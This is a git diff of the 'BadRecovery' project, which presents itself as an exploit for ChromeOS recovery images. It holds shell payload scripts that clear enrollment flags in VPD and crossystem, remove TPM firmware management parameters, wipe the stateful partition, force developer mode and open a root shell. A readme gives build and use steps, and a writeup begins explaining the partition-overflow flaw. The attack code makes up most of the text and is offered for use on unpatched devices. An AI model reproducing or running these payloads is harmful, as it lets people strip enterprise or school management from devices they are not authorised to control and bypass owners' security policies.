"$*" || : +} + +log_warn() { + printf "${COLOR_YELLOW}Warning: %b${COLOR_RESET}\n" "$*" || : +} + +log_error() { + printf "${COLOR_RED_B}Error: %b${COLOR_RESET}\n" "$*" || : +} + +suppress() { + if [ "${FLAGS_debug:-0}" = "${FLAGS_TRUE:-1}" ]; then + "$@" + else + "$@" &>/dev/null + fi +} + +suppress_out() { + if [ "${FLAGS_debug:-0}" = "${FLAGS_TRUE:-1}" ]; then + "$@" + else + "$@" >/dev/null + fi +} + +SCRIPT_DIR=$(dirname "$0") +SCRIPT_DIR=${SCRIPT_DIR:-"."} + +load_shflags() { + if [ -f "${SCRIPT_DIR}/lib/shflags" ]; then + . "${SCRIPT_DIR}/lib/shflags" + elif [ -f "${SCRIPT_DIR}/shflags" ]; then + . "${SCRIPT_DIR}/shflags" + else + echo "ERROR: Cannot find the required shflags library." + return 1 + fi +} + +is_ext2() { + local rootfs="$1" + local offset="${2-0}" + + local sb_magic_offset=$((0x438)) + local sb_value=$(dd if="$rootfs" skip=$((offset + sb_magic_offset)) \ + count=2 bs=1 2>/dev/null) + local expected_sb_value=$(printf '\123\357') + if [ "$sb_value" = "$expected_sb_value" ]; then + return 0 + fi + return 1 +} + +enable_rw_mount() { + local rootfs="$1" + local offset="${2-0}" + + if ! is_ext2 "$rootfs" $offset; then + echo "enable_rw_mount called on non-ext2 filesystem: $rootfs $offset" 1>&2 + return 1 + fi + + local ro_compat_offset=$((0x464 + 3)) + printf '\000' | + dd of="$rootfs" seek=$((offset + ro_compat_offset)) \ + conv=notrunc count=1 bs=1 2>/dev/null +} + +disable_rw_mount() { + local rootfs="$1" + local offset="${2-0}" + + if ! is_ext2 "$rootfs" $offset; then + echo "disable_rw_mount called on non-ext2 filesystem: $rootfs $offset" 1>&2 + return 1 + fi + + local ro_compat_offset=$((0x464 + 3)) + printf '\377' | + dd of="$rootfs" seek=$((offset + ro_compat_offset)) \ + conv=notrunc count=1 bs=1 2>/dev/null +} + +rw_mount_disabled() { + local rootfs="$1" + local offset="${2-0}" + + if ! is_ext2 "$rootfs" $offset; then + return 2 + fi + + local ro_compat_offset=$((0x464 + 3)) + local ro_value=$(dd if="$rootfs" skip=$((offset + ro_compat_offset)) \ + count=1 bs=1 2>/dev/null) + local expected_ro_value=$(printf '\377') + if [ "$ro_value" = "$expected_ro_value" ]; then + return 0 + fi + return 1 +} + +check_semver_ge() { + local major="$(echo "$1" | cut -d. -f1)" + local minor="$(echo "$1" | cut -d. -f2)" + local patch="$(echo "$1" | cut -d. -f3)" + [ "$major" -lt "$2" ] && return 1 + [ "$major" -gt "$2" ] && return 0 + [ "$minor" -lt "$3" ] && return 1 + [ "$minor" -gt "$3" ] && return 0 + [ "${patch:-0}" -lt "${4:-0}" ] && return 1 + return 0 +} + +ARCHITECTURE="$(uname -m)" +case "$ARCHITECTURE" in + *x86_64* | *x86-64*) ARCHITECTURE=x86_64 ;; + *aarch64* | *armv8*) ARCHITECTURE=aarch64 ;; + *i[3-6]86*) ARCHITECTURE=i386 ;; + *) fail "Unsupported architecture $ARCHITECTURE" ;; +esac + +if command -v sfdisk &>/dev/null && check_semver_ge "$(sfdisk --version | awk '{print $NF}')" 2 38 0; then + log_debug "using machine's sfdisk" + SFDISK=sfdisk +else + log_debug "using bundled sfdisk" + SFDISK="${SCRIPT_DIR}/lib/bin/$ARCHITECTURE/sfdisk" + chmod +x "$SFDISK" +fi + +# no way to check cgpt version, so we always use the bundled build +CGPT="${SCRIPT_DIR}/lib/bin/$ARCHITECTURE/cgpt" +chmod +x "$CGPT" + +format_bytes() { + numfmt --to=iec-i --suffix=B "$@" +} + +parse_bytes() { + numfmt --from=iec "$@" 2>/dev/null +} + +check_file_rw() { + [ -f "$1" -a -r "$1" -a -w "$1" ] +} + +check_gpt_image() { + "$SFDISK" -l "$1" 2>/dev/null | grep -q "Disklabel type: gpt" +} + +check_slow_fs() { + if uname -r | grep -qi microsoft && realpath "$1" | grep -q "^/mnt"; then + echo "You are attempting to run wax on a file in your windows filesystem." + echo "Performance would suffer, so please move your file into your linux filesystem (e.g. ~/file.bin)" + exit 1 + fi +} + +safesync() { + sync + sleep 0.2 +} + +get_sectors() { + "$SFDISK" -l "$1" 2>/dev/null | grep "sectors$" | awk '{print $(NF-1)}' +} + +get_sector_size() { + "$SFDISK" -l "$1" 2>/dev/null | grep "^Sector size" | awk '{print $4}' +} + +get_final_sector() { + "$SFDISK" -l -o end "$1" 2>/dev/null | grep "^\s*[0-9]" | awk '{print $1}' | sort -nr | head -n 1 +} + +get_gpt_backup_table_sector() { + "$CGPT" show "$1" | grep "Sec GPT table$" | awk '{print $1}' +} + +get_parts() { + "$CGPT" show -q "$1" | awk '{print $3}' +} + +get_parts_physical_order() { + local part_table=$("$CGPT" show -q "$1") + local physical_parts=$(awk '{print $1}' <<<"$part_table" | sort -n) + for part in $physical_parts; do + grep "^\s*${part}\s" <<<"$part_table" | awk '{print $3}' + done +} + +delete_partitions_except() { + local img="$1" + local to_delete=() + shift + + for part in $(get_parts "$img"); do + grep -qw "$part" <<<"$@" || to_delete+=("$part") + done + + log_info "Deleting partitions: ${to_delete[@]}" + suppress "$SFDISK" --delete "$img" "${to_delete[@]}" +} + +squash_partitions() { + log_info "Squashing partitions" + + for part in $(get_parts_physical_order "$1"); do + log_info "Squashing ${1}p${part}" + suppress "$SFDISK" -N "$part" --move-data "$1" <<<"+,-" || : + done +} + +truncate_image() { + local buffer=35 # magic number to ward off evil gpt corruption spirits + local sector_size=$(get_sector_size "$1") + local final_sector=$(get_final_sector "$1") + local end_bytes=$(((final_sector + buffer) * sector_size)) + log_info "Truncating image to $(format_bytes "$end_bytes")" + + if [ -b "$1" ]; then + local loopdev=$(losetup -f) + losetup -P "$loopdev" "$1" --sizelimit "$end_bytes" + suppress sgdisk -e "$loopdev" 2>&1 | sed 's/\a//g' + losetup -d "$loopdev" + else + truncate -s "$end_bytes" "$1" + suppress sgdisk -e "$1" 2>&1 | sed 's/\a//g' + fi + + [ -z "$2" ] || echo "$end_bytes" >"$2" +} + +resize_image() { + # 1: size, 2: image, 3: loop (optional) + if [ -b "$2" ]; then + echo "$2 is a block device, cannot resize" >&2 + return 1 + fi + log_info "Resizing image to $(format_bytes "$1")" + truncate -s "$1" "$2" + suppress sgdisk -e "$2" 2>&1 | sed 's/\a//g' + [ -z "$3" ] || losetup -c "$3" +} + +cgpt_add_auto() { + local final_sector gpt_sector difference img_sectors sector_size new_size + local image="$1" + local device="$2" + local part="$3" + local sectors="$4" + shift 4 + final_sector=$(get_final_sector "$device") + gpt_sector=$(get_gpt_backup_table_sector "$device") + difference=$((gpt_sector - final_sector - sectors - 1)) + if [ "$difference" -lt 0 ]; then + img_sectors=$(get_sectors "$device") + sector_size=$(get_sector_size "$device") + # remember difference is negative + new_size=$((sector_size * (img_sectors - difference))) + resize_image "$new_size" "$image" "$device" + fi + "$CGPT" add "$device" -i "$part" -b $((final_sector + 1)) -s "$sectors" "$@" + partx -u -n "$part" "$device" +} diff --git a/persist/init.sh b/persist/init.sh new file mode 100644 index 0000000..59e5e2f --- /dev/null +++ b/persist/init.sh @@ -0,0 +1,10 @@ +#!/bin/bash + +rm -rf /var/lib/whitelist/---persist---*/* +if [ -e /tmp/payload.sh ]; then + exit +fi + +cd / +cp /var/lib/whitelist/persist/payload.sh /tmp/payload.sh +exec bash -c "bash <(cat /tmp/payload.sh)" diff --git a/persist/payload.sh b/persist/payload.sh new file mode 100644 index 0000000..1b801b0 --- /dev/null +++ b/persist/payload.sh @@ -0,0 +1,111 @@ +#!/bin/bash + +SCRIPT_DATE="[2024-10-01]" + +initctl stop ui +pkill -9 frecon +rm -rf /run/frecon +frecon --enable-vt1 --daemon --no-login --enable-vts --pre-create-vts --num-vts=4 --enable-gfx +until [ -e /run/frecon/vt0 ]; do + sleep 0.1 +done +exec /run/frecon/vt0 2>&1 +printf "\033]input:off\a" +printf "\033[?25l\033[2J\033[H" +echo "Press CTRL+ALT+F1 if you're seeing this" | tee /run/frecon/vt1 /run/frecon/vt2 >/run/frecon/vt3 + +dark_output() { + printf "\033[1;30m" + "$@" + printf "\033[0m" +} + +get_largest_cros_blockdev() { + local largest size dev_name tmp_size remo + size=0 + for blockdev in /sys/block/*; do + dev_name="${blockdev##*/}" + echo "$dev_name" | grep -q '^\(loop\|ram\)' && continue + tmp_size=$(cat "$blockdev"/size) + remo=$(cat "$blockdev"/removable) + if [ "$tmp_size" -gt "$size" ] && [ "${remo:-0}" -eq 0 ]; then + case "$(sfdisk -d "/dev/$dev_name" 2>/dev/null)" in + *'name="STATE"'*'name="KERN-A"'*'name="ROOT-A"'*'name="KERN-B"'*'name="ROOT-B"'*) + largest="/dev/$dev_name" + size="$tmp_size" + ;; + esac + fi + done + echo "$largest" +} + +format_part_number() { + echo -n "$1" + echo "$1" | grep -q '[0-9]$' && echo -n p + echo "$2" +} + +block_char=$(printf "\xe2\x96\x88") +echo "Ck9PT08gICBPT08gIE9PT08gIE9PT08gIE9PT09PICBPT09PICBPT08gIE8gICBPIE9PT09PIE9PT08gIE8gICBPCk8gICBPIE8gICBPIE8gICBPIE8gICBPIE8gICAgIE8gICAgIE8gICBPIE8gICBPIE8gICAgIE8gICBPICBPIE8gCk9PT08gIE9PT09PIE8gICBPIE9PT08gIE9PT08gIE8gICAgIE8gICBPIE8gICBPIE9PT08gIE9PT08gICAgTyAgCk8gICBPIE8gICBPIE8gICBPIE8gICBPIE8gICAgIE8gICAgIE8gICBPICBPIE8gIE8gICAgIE8gICBPICAgTyAgCk9PT08gIE8gICBPIE9PT08gIE8gICBPIE9PT09PICBPT09PICBPT08gICAgTyAgIE9PT09PIE8gICBPICAgTyAgCgo=" | base64 -d | sed "s/O/$block_char/g" + +echo "Welcome to BadRecovery (persist)" +echo "Script date: $SCRIPT_DATE" +echo "https://github.com/BinBashBanana/badrecovery" +echo "" + +echo "Modifying VPD (check_enrollment=0 block_devmode=0)" +vpd -i RW_VPD -s check_enrollment=0 -s block_devmode=0 +echo "...$?" + +echo "Setting block_devmode=0 in crossystem" +crossystem block_devmode=0 +echo "...$?" + +echo "Removing FWMP" +cryptohome_out=$(cryptohome --action=get_firmware_management_parameters 2>&1) +cryptohome_code=$? +if [ $cryptohome_code -eq 0 ] && ! echo "$cryptohome_out" | grep -q "Unknown action"; then + dark_output tpm_manager_client take_ownership + dark_output cryptohome --action=remove_firmware_management_parameters + cryptohome_code=$? +else + cryptohome_code=0 +fi +echo "...$?" + +WIPE_ERROR=0 +INTERNAL_DISK=$(get_largest_cros_blockdev) +if [ -z "$INTERNAL_DISK" ]; then + WIPE_ERROR=1 + echo "Could not find internal disk. Unable to skip developer mode delay." +else + echo "Fixing stateful" + STATEFUL_PART=$(format_part_number "$INTERNAL_DISK" 1) + dark_output initctl start pre-shutdown + dark_output chromeos_shutdown + dark_output chromeos_shutdown + dark_output umount -A "$STATEFUL_PART" + if grep -q "^${STATEFUL_PART}\s" /proc/mounts; then + WIPE_ERROR=1 + echo "Could not unmount stateful. Unable to skip developer mode delay." + else + dark_output mkfs.ext4 -F -b 4096 -L H-STATE "$STATEFUL_PART" + echo "Enabling devmode" + stateful_mnt=$(mktemp -d) + mount "$STATEFUL_PART" "$stateful_mnt" + touch "$stateful_mnt/.developer_mode" + umount "$stateful_mnt" + rmdir "$stateful_mnt" + fi +fi + +echo "Device unenrolled." +if [ $WIPE_ERROR -eq 0 ]; then + echo "Enter recovery mode and switch to developer mode now to skip the delay." +else + echo "Reset the device by switching into developer mode." +fi + +printf "\033]input:on\a\033[?25h" +exec setsid -c bash diff --git a/postinst/payload.sh b/postinst/payload.sh new file mode 100644 index 0000000..65a5835 --- /dev/null +++ b/postinst/payload.sh @@ -0,0 +1,107 @@ +#!/bin/sh + +SCRIPT_DATE="[2024-10-01]" + +TARGET_DEVICE_P="${1%[0-9]*}" + +# spinner is always the 2nd /bin/sh +spinner_pid=$(pgrep /bin/sh | head -n 2 | tail -n 1) +kill -9 "$spinner_pid" +pkill -9 tail +sleep 0.1 + +HAS_FRECON=0 +if pgrep frecon >/dev/null 2>&1; then + HAS_FRECON=1 + # restart frecon to make VT1 background black + exec /dev/null 2>&1 + pkill -9 frecon || : + rm -rf /run/frecon + frecon-lite --enable-vt1 --daemon --no-login --enable-vts --pre-create-vts --num-vts=4 --enable-gfx + until [ -e /run/frecon/vt0 ]; do + sleep 0.1 + done + exec /run/frecon/vt0 2>&1 + # note: switchvt OSC code only works on 105+ + printf "\033]switchvt:0\a\033]input:off\a" + echo "Press CTRL+ALT+F1 if you're seeing this" | tee /run/frecon/vt1 /run/frecon/vt2 >/run/frecon/vt3 +else + exec /dev/tty1 2>&1 + chvt 1 + stty -echo + echo "Press CTRL+ALT+F1 if you're seeing this" | tee /dev/tty2 /dev/tty3 >/dev/tty4 +fi + +printf "\033[?25l\033[2J\033[H" + +dark_output() { + printf "\033[1;30m" + "$@" + printf "\033[0m" +} + +block_char=$(printf "\xe2\x96\x88") +echo "Ck9PT08gICBPT08gIE9PT08gIE9PT08gIE9PT09PICBPT09PICBPT08gIE8gICBPIE9PT09PIE9PT08gIE8gICBPCk8gICBPIE8gICBPIE8gICBPIE8gICBPIE8gICAgIE8gICAgIE8gICBPIE8gICBPIE8gICAgIE8gICBPICBPIE8gCk9PT08gIE9PT09PIE8gICBPIE9PT08gIE9PT08gIE8gICAgIE8gICBPIE8gICBPIE9PT08gIE9PT08gICAgTyAgCk8gICBPIE8gICBPIE8gICBPIE8gICBPIE8gICAgIE8gICAgIE8gICBPICBPIE8gIE8gICAgIE8gICBPICAgTyAgCk9PT08gIE8gICBPIE9PT08gIE8gICBPIE9PT09PICBPT09PICBPT08gICAgTyAgIE9PT09PIE8gICBPICAgTyAgCgo=" | base64 -d | sed "s/O/$block_char/g" + +echo "Welcome to BadRecovery (postinst)" +echo "Script date: $SCRIPT_DATE" +echo "https://github.com/BinBashBanana/badrecovery" +echo "" + +echo "Unmounting /usb/tmp/install-mount-point" +umount /usb/tmp/install-mount-point +echo "...$?" + +echo "Creating RW /tmp" +mount -t tmpfs -o rw,exec,size=50M tmpfs /tmp +echo "...$?" + +echo "Modifying VPD (check_enrollment=0 block_devmode=0)" +echo "Note: the vpd utility acts really weird in recovery, but it actually writes the values ok." +vpd -i RW_VPD -s check_enrollment=0 -s block_devmode=0 >/dev/null 2>&1 +echo "...$?" + +echo "Setting block_devmode=0 in crossystem" +crossystem block_devmode=0 +echo "...$?" + +echo "Removing FWMP" +# note: undef may fail on TPM 1.2 devices +# note: undef isn't implemented in tpmc before r72 +# if tpmc says code 0x18b, the FWMP space already doesn't exist (on TPM 2.0 at least) +# if undef failed for any reason other than above, try to write 0x0 instead +tpmc_out=$(tpmc undef 0x100a 2>&1) +tpmc_code=$? +if [ $tpmc_code -ne 0 ]; then + if echo "$tpmc_out" | grep -q "code 0x18b$"; then + tpmc_code=0 + else + tpmc write 0x100a 76 28 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 + tpmc_code=$? + fi +fi +echo "...$tpmc_code" + +echo "Recovering ROOT-A" +dark_output dd if="$TARGET_DEVICE_P"5 of="$TARGET_DEVICE_P"3 bs=$((1024 * 1024)) count=64 conv=notrunc + +echo "Fixing stateful" +dark_output chroot /usb /sbin/mkfs.ext4 -F -b 4096 -L H-STATE "$TARGET_DEVICE_P"1 + +echo "Enabling devmode" +stateful_mnt=$(mktemp -d) +mount "$TARGET_DEVICE_P"1 "$stateful_mnt" +touch "$stateful_mnt/.developer_mode" +umount "$stateful_mnt" +rmdir "$stateful_mnt" + +echo "Enter recovery mode and switch to developer mode now to skip the delay." + +if [ $HAS_FRECON -eq 1 ]; then + printf "\033]input:on\a" +else + stty echo +fi + +printf "\033[?25h" +exec setsid -c sh diff --git a/postinst/postinst b/postinst/postinst new file mode 100644 index 0000000..657520c --- /dev/null +++ b/postinst/postinst @@ -0,0 +1,6 @@ +#!/bin/sh + +cd / +cp /tmp/install-mount-point/payload.sh /dev/payload.sh +chmod +x /dev/payload.sh +exec chroot /proc/1/cwd /bin/sh /dev/payload.sh "$1" diff --git a/readme.md b/readme.md index ffe0365..6d7d840 100644 --- a/readme.md +++ b/readme.md @@ -1,5 +1,169 @@ -# olybmmer +# BadRecovery -olymer is an explote for chrome book +BadRecovery (formerly OlyBmmer) is an exploit for ChromeOS devices, +leveraging a vulnerability in recovery images to get arbitrary code execution or to chain to other exploits. -Release date: October 1 2024 +The exploit and writeup were released to the public on October 5th, 2024. + +## How to use + +You will need: +- A USB drive or SD card (8 GB or larger) +- Something to flash the image (dd, rufus, chromebook recovery utility, etc.) +- A ChromeOS device that has not received the patch (see [patch](#patch)) + +### Preparing an image + +First, you must download an official recovery image for your device. +You can download them from [ChromiumDash](https://chromiumdash.appspot.com/serving-builds?deviceCategory=Chrome%20OS) or [Chrome100](https://chrome100.dev/). +See [modes of operation](#modes-of-operation) for which version you'll need, usually r124 or older. +Be sure you've downloaded the correct image for your device. + +Make sure to unzip the recovery image before proceeding to the next step! + +Next, you must modify the recovery image using the script included with this repository. +You can use the [web version](https://binbashbanana.github.io/badrecovery/builder.html) of the builder, though it is a fair bit slower. + +To get the script, run these commands on a linux machine: +``` +git clone https://github.com/BinBashBanana/badrecovery +cd badrecovery +``` + +To modify a recovery image using the script, run +``` +sudo ./build_badrecovery.sh -i +``` +(Replace `` with the path to your recovery image bin.) + +The script may prompt you to install required dependencies. + +You can specify the mode using the `--type` argument (`-t` for short). +If left unspecified, the script will automatically determine the best option based on the version and features of the recovery image. + +Example: +``` +sudo ./build_badrecovery.sh -i image.bin -t postinst +``` +The script would fail if it detected that the supplied recovery image does not meet the requirements for postinst mode (see table below). + +The recovery image is now modified, and is ready to be flashed to a USB drive or SD card. + +### Running on ChromeOS device + +First, enter recovery mode. See [this article](https://support.google.com/chromebook/answer/1080595#enter) for detailed instructions. + +Note: if using the unverified payload, you must also enter developer mode, and then enter recovery mode again. +On Cr50 devices, you must NOT be in developer mode for unenrollment to work. + +Plug in the prepared USB drive or SD card. On the unverified payload, BadRecovery will start in only a few seconds if you've done everything correctly. + +On any other payload, the system will recover first. This may take a while depending on the speed of your drive. +On postinst and postinst_sym payloads, BadRecovery will start partway through the recovery process. + +Note: if on postinst_sym and BadRecovery does not start, the path to the internal drive is incorrect. + +On basic or persist payloads, reboot into verified mode after recovery completes. +Optionally, you can look at VT3 and reboot early to skip postinst and save some time. + +On the persist payload, BadRecovery will start within a few seconds of ChromeOS booting. +On basic, you must proceed through setup and the device will unenroll using [cryptosmite](https://github.com/FWSmasher/CryptoSmite). + +## Modes of operation + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ModeRequirementsDescription
postinst86 ≤ version ≤ 124 AND disk layout v1 or v2 + ROOT-A (usb) overflows into ROOT-A (internal). Not supported on disk layout v3 (devices with minios). + Replaces postinst with a custom payload and grants code execution in recovery. +
postinst_sym34 ≤ version ≤ 124 AND (kernel ≥ 4.4 OR year < 2038) + ROOT-A (usb) overflows into STATE (internal). + Stateful installer copies payload (usb) to a symlink in STATE (internal) which points to ROOT-A (internal). + Replaces postinst with a custom payload and grants code execution in recovery. +
+ Caveat: internal disk device path must be known. +
persist26 ≤ version ≤ 90 (untested below 68) + ROOT-A (usb) overflows into STATE (internal). + Encrypted data persisted through cryptosmite, code execution given in ChromeOS through crx-import. +
basic26 ≤ version ≤ 119 (untested below 68) + ROOT-A (usb) overflows into STATE (internal). + Standard cryptosmite unenrollment payload. +
unverifiedversion ≤ 41 / version ≤ 47 (WP off) / any version (developer mode NOT blocked) + Unverified ROOT-A, developer mode only! + Use this for very old devices or for testing. + This is an intended feature, not a bug. +
+ +All images will be larger than 2 and smaller than 8 GB, except unverified, which is almost always less than 1 GB. + +Note: for `persist` and `basic`, on version 86 and above (when `postinst` is available), built images are large (8.5 GB) +for the legacy/v1 disk layout and even larger (17 GB) for disk layout v2. `postinst` should always be preferred anyway. +If you choose to use either of these modes anyway, some different steps must be taken while installing the recovery image. + +## Patch + +R125 recovery images and newer are not vulnerable to this (except unverified). +To determine if you can use this, follow these in order: +- Was your device EOL before 2024? → YES +- Are you on ChromeOS version 124 or lower? → YES +- Was your device *released* after mid-2024? → NO +- Does your device show `03` or lower as the last digits of the kernver (kernel version) on the recovery screen (press TAB, look at the line that starts with "TPM")? → YES +- Higher than `03`? → NO + +## Known issues + +- FWMP doesn't remove on some newer devices (nissa, brya(?), corsola(?)) + +## Credits + +- OlyB/BinBashBanana - most of the work here +- Writable - [cryptosmite](https://github.com/FWSmasher/CryptoSmite) vulnerability +- Rory McNamara - encrypted_import vulnerability +- Bomberfish - the name BadRecovery + +### Testers + +Big thanks to the testers: + +- Juliet (celes) +- M_Wsecond (lars) +- Kelp Seastem (peppy, nissa) +- Kxtz (relm) +- Desvert (peach-pi) +- WeirdTreeThing (trogdor) +- cmxci (gnawty) + +### Dedications + +- Percury Mercshop +- Blake Nelsen (kinda) +- Rory McNamara diff --git a/unverified/chromeos-recovery b/unverified/chromeos-recovery new file mode 100644 index 0000000..61f82b1 --- /dev/null +++ b/unverified/chromeos-recovery @@ -0,0 +1,6 @@ +#!/bin/busybox sh + +cd / +/bin/busybox cp /usr/sbin/payload.sh /dev/payload.sh +/bin/busybox chmod +x /dev/payload.sh +exec /bin/busybox chroot /proc/1/cwd /bin/sh /dev/payload.sh "$1" diff --git a/unverified/payload.sh b/unverified/payload.sh new file mode 100644 index 0000000..57310eb --- /dev/null +++ b/unverified/payload.sh @@ -0,0 +1,133 @@ +#!/bin/sh + +SCRIPT_DATE="[2024-10-01]" + +# spinner is always the 2nd /bin/sh +spinner_pid=$(pgrep /bin/sh | head -n 2 | tail -n 1) +kill -9 "$spinner_pid" +pkill -9 tail +sleep 0.1 + +HAS_FRECON=0 +if pgrep frecon >/dev/null 2>&1; then + HAS_FRECON=1 + # restart frecon to make VT1 background black + exec /dev/null 2>&1 + pkill -9 frecon || : + rm -rf /run/frecon + frecon-lite --enable-vt1 --daemon --no-login --enable-vts --pre-create-vts --num-vts=4 --enable-gfx + until [ -e /run/frecon/vt0 ]; do + sleep 0.1 + done + exec /run/frecon/vt0 2>&1 + # note: switchvt OSC code only works on 105+ + printf "\033]switchvt:0\a\033]input:off\a" + echo "Press CTRL+ALT+F1 if you're seeing this" | tee /run/frecon/vt1 /run/frecon/vt2 >/run/frecon/vt3 +else + exec /dev/tty1 2>&1 + chvt 1 + stty -echo + echo "Press CTRL+ALT+F1 if you're seeing this" | tee /dev/tty2 /dev/tty3 >/dev/tty4 +fi + +printf "\033[?25l\033[2J\033[H" + +block_char=$(printf "\xe2\x96\x88") +echo "Ck9PT08gICBPT08gIE9PT08gIE9PT08gIE9PT09PICBPT09PICBPT08gIE8gICBPIE9PT09PIE9PT08gIE8gICBPCk8gICBPIE8gICBPIE8gICBPIE8gICBPIE8gICAgIE8gICAgIE8gICBPIE8gICBPIE8gICAgIE8gICBPICBPIE8gCk9PT08gIE9PT09PIE8gICBPIE9PT08gIE9PT08gIE8gICAgIE8gICBPIE8gICBPIE9PT08gIE9PT08gICAgTyAgCk8gICBPIE8gICBPIE8gICBPIE8gICBPIE8gICAgIE8gICAgIE8gICBPICBPIE8gIE8gICAgIE8gICBPICAgTyAgCk9PT08gIE8gICBPIE9PT08gIE8gICBPIE9PT09PICBPT09PICBPT08gICAgTyAgIE9PT09PIE8gICBPICAgTyAgCgo=" | base64 -d | sed "s/O/$block_char/g" + +echo "Welcome to BadRecovery (unverified)" +echo "Script date: $SCRIPT_DATE" +echo "https://github.com/BinBashBanana/badrecovery" +echo "" + +echo "Creating RW /tmp" +mount -t tmpfs -o rw,exec,size=50M tmpfs /tmp +echo "...$?" + +echo "Modifying VPD (check_enrollment=0 block_devmode=0)" +echo "Note: the vpd utility acts really weird in recovery, but it actually writes the values ok." +vpd -i RW_VPD -s check_enrollment=0 -s block_devmode=0 >/dev/null 2>&1 +echo "...$?" + +echo "Setting block_devmode=0 in crossystem" +crossystem block_devmode=0 +echo "...$?" + +echo "Removing FWMP" +# note: undef may fail on TPM 1.2 devices +# note: undef isn't implemented in tpmc before r72 +# if tpmc says code 0x18b, the FWMP space already doesn't exist (on TPM 2.0 at least) +# if undef failed for any reason other than above, try to write 0x0 instead +tpmc_out=$(tpmc undef 0x100a 2>&1) +tpmc_code=$? +if [ $tpmc_code -ne 0 ]; then + if echo "$tpmc_out" | grep -q "code 0x18b$"; then + tpmc_code=0 + else + tpmc write 0x100a 76 28 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 + tpmc_code=$? + fi +fi +echo "...$tpmc_code" + +get_fixed_dst_drive() { + local dev + if [ -z "${DEFAULT_ROOTDEV}" ]; then + for dev in /sys/block/sd* /sys/block/mmcblk*; do + if [ ! -d "${dev}" ] || [ "$(cat "${dev}/removable")" = 1 ] || [ "$(cat "${dev}/size")" -lt 2097152 ]; then + continue + fi + if [ -f "${dev}/device/type" ]; then + case "$(cat "${dev}/device/type")" in + SD*) + continue; + ;; + esac + fi + DEFAULT_ROOTDEV="{$dev}" + done + fi + if [ -z "${DEFAULT_ROOTDEV}" ]; then + dev="" + else + dev="/dev/$(basename ${DEFAULT_ROOTDEV})" + if [ ! -b "${dev}" ]; then + dev="" + fi + fi + echo "${dev}" +} + +. /usr/sbin/write_gpt.sh +load_base_vars +TARGET_DEVICE=$(get_fixed_dst_drive) + +if echo "$TARGET_DEVICE" | grep -q '[0-9]$'; then + TARGET_DEVICE_P="$TARGET_DEVICE"p +else + TARGET_DEVICE_P="$TARGET_DEVICE" +fi + +echo "Found internal disk: $TARGET_DEVICE" + +echo "Enabling devmode" +stateful_mnt=$(mktemp -d) +mount_code=1 +if mount "$TARGET_DEVICE_P"1 "$stateful_mnt"; then + mount_code=0 + touch "$stateful_mnt/.developer_mode" + umount "$stateful_mnt" +fi +rmdir "$stateful_mnt" +echo "...$mount_code" + +echo "Enter recovery mode and switch to developer mode now to skip the delay." + +if [ $HAS_FRECON -eq 1 ]; then + printf "\033]input:on\a" +else + stty echo +fi + +printf "\033[?25h" +while :; do sh; done diff --git a/web_bundler.sh b/web_bundler.sh new file mode 100644 index 0000000..5483e4f --- /dev/null +++ b/web_bundler.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env bash + +rm -rf assets/webbuilder.tar assets/webbuilder.tar.zip +tar -cvf assets/webbuilder.tar web_entry.sh build_badrecovery.sh encstateful persist postinst unverified busybox/arm busybox/x86 lib/wax_common.sh lib/shflags lib/bin/i386/cgpt --owner=0 --group=0 +cd assets +zip webbuilder.tar.zip webbuilder.tar +rm webbuilder.tar diff --git a/web_entry.sh b/web_entry.sh new file mode 100644 index 0000000..56aa316 --- /dev/null +++ b/web_entry.sh @@ -0,0 +1,20 @@ +#!/bin/bash +# this script should have pid 1 + +SHARED_FS_MNT="$1" + +BUILD_OPTS=() +[ -f "$SHARED_FS_MNT"/opt.type ] && BUILD_OPTS+=("-t $(cat $SHARED_FS_MNT/opt.type)") +[ -f "$SHARED_FS_MNT"/opt.internal_disk ] && BUILD_OPTS+=("--internal_disk $(cat $SHARED_FS_MNT/opt.internal_disk)") +[ -f "$SHARED_FS_MNT"/opt.debug ] && BUILD_OPTS+=("--debug") + +if time ./build_badrecovery.sh -i /dev/sda --yes --finalsizefile "$SHARED_FS_MNT"/finalsize ${BUILD_OPTS[@]}; then + echo "Done building!" +else + echo -e "An error occured\033[?25h" + stty echo + bash +fi + +poweroff -f +tail -f /dev/null diff --git a/writeup.md b/writeup.md new file mode 100644 index 0000000..f706dd0 --- /dev/null +++ b/writeup.md @@ -0,0 +1,186 @@ +# BadRecovery writeup (extended version) + +[Home](https://github.com/BinBashBanana/badrecovery) + +Last updated: 2024-10-05 12:52 AM PDT + +ChromeOS recovery images are official tools signed by Google that consumers can install on a USB drive to reinstall ChromeOS onto +Chromebooks and Chromeboxes in case something goes wrong. +In March 2024, I thought I'd familiarize myself with how ChromeOS recovery images work. +I knew that they composed of 3 main steps; initramfs (verification), the installer, and post-install (referred to as postinst). +What I did not know were the internal functioning of these parts. + +I started by examining the initramfs. The initramfs is the first filesystem loaded by the kernel, +used in most linux operating systems today. The recovery initramfs source code is hosted at the repository +[here](https://chromium.googlesource.com/chromiumos/platform/initramfs/+/HEAD/recovery). +The recovery initramfs's job is to verify that the next step of recovery images, the installer, is official and hasn't been tampered with. +\* Note: the recovery initramfs does let users modify it, but only if the device does not have developer mode blocked (i.e. not enterprise enrolled). + +It has been generally accepted that the recovery initramfs is a secure and complete system, and I wasn't able to find any bugs. + +After verifying the rootfs where the installer lives, the initramfs chroots into the rootfs and executes the installer. +The installer source code is hosted at the repository [here](https://chromium.googlesource.com/chromiumos/platform2/+/HEAD/installer). + +The job of the installer (chromeos-install) is to copy the partitions from the recovery USB drive to the internal disk of the device. +It then executes the post-install script (postinst) and finishes recovery after that is complete. + +I quickly noticed an issue. For some reason, the installer was copying partitions to the host disk's parent block device at specific offsets, +rather than using the partition block devices. The script also did not check if the size of the source data was larger than the size of the +destination partition for a specific few partitions, potentially resulting in overflows. These partitions were: + +- KERN-B. This would not work due to the whole partition being hash checked by the initramfs. +- MINIOS-A/B. This was out of the question due to only being supported on the newest devices at the time. +- And ROOT-A. + +ROOT-A is the rootfs that is verified by the initramfs and contains the chromeos-install script. +It is verified using [dm-verity](https://docs.kernel.org/admin-guide/device-mapper/verity.html). +However, it only verifies the *filesystem*, not the entire partition. This means that we could potentially expand the partition +to overflow arbitrary data into other partitions. + +As the partition table of the internal disk is reset to a factory state before anything is copied to it, +the only thing to figure out 